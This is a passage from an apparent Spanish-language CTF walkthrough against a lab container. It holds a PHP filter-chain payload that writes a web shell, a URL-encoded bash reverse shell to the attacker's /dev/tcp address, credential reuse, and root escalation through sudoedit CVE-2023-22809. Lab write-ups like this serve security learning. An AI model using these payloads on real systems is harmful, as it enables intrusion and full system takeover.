.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));
```

**Resultado**

<figure><img src="/files/Lp4uK7VDk0GvyQ13sruJ" alt=""><figcaption></figcaption></figure>

El ultimo paso que nos muestra el exploit es:

```python
print("[+] Access at " + base_url + "/rce.php?0=whoami")
```

Por lo tanto podemos usar el siguiente enlace:

```python
http://172.17.0.2/rce.php?0=whoami
```

**Resultado**

<figure><img src="/files/zwn7ZLznCElCD8baWQlZ" alt=""><figcaption></figcaption></figure>

Ahora si podemos entablar un **RCE**, en mi caso usare `pwncat-cs`, nos pondremos en escucha de la siguiente manera:

```python
pwncat-cs :1234
```

Primero usaremos la función `urlencode`, debajo dejo el código de la función.

<figure><img src="/files/eOy5370uikRy66SsFMYl" alt=""><figcaption></figcaption></figure>

Usando `/bin/bash -i >& /dev/tcp/172.17.0.1/1234 0>&1` no me funciono simplemente lo reescribo de la siguiente manera:

```bash
urlencode "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'"
```

**Resultado**

```python
[+] %2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27
```

En enlace quedaría de la siguiente manera:

```python
http://172.17.0.2/rce.php?0=%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27
```

De este modo si funciona:

<figure><img src="/files/lOuKFAadMwZRdgfAFShP" alt=""><figcaption></figcaption></figure>

**Ctrl + D** para entrar a la **Bash**, somos el usuario `www-data`, aunque podemos notar que hay un usuario llamado `jessica`, pero comete el error de reutilizar credenciales lo cual aprovechamos.

<figure><img src="/files/MuwAlk1Z5AeVfyS4mzeF" alt=""><figcaption></figcaption></figure>

Podemos ver que este usuario puede ejecutar `sudoedit` de manera privilegiada, esto lo podemos saber de 2 maneras, usando el modulo de `pwncat` o ejecutando manualmente `sudo -l`:

<figure><img src="/files/Hs32OYeRYilvs1998wTE" alt=""><figcaption></figcaption></figure>

Ahora bien, podemos ejecutar:

```bash
sudoedit --version
```

**Resultado**

<figure><img src="/files/7nK4UyFNvDHQjMyJBT1g" alt=""><figcaption></figcaption></figure>

Si buscamos `Sudoers policy plugin version 1.9.9` encontraremos **##** [**CVE-2023-22809**](https://tonyharris.io/posts/sudoedit/) aquí explica como explotar esta vulnerabilidad y también como mitigarla, en nuestro caso lo que aremos es lo siguiente:

* Verificamos que editor tenemos disponible, ya sea `vi`, `vim` o `nano`.
* Exportamos la variable `EDITOR`, como se menciona en el **CVE**.
* Ejecutamos `sudoedit` de forma privilegiada.

<figure><img src="/files/TvTlrbUFL6lQeBpm5VvD" alt=""><figcaption></figcaption></figure>

* Dentro comentamos o borramos los permisos de `jessica` y agregamos los nuevos permisos `jessica ALL=(ALL:ALL) ALL`.

<figure><img src="/files/DqDwwEaVoIhKwX9Co9qQ" alt=""><figcaption></figcaption></figure>

* Guardamos y simplemente queda ejecutar `sudo su` para convertirnos en `root`.

<figure><img src="/files/YLxJyrwZVBuwrMuFfy1D" alt=""><figcaption></figcaption></figure>
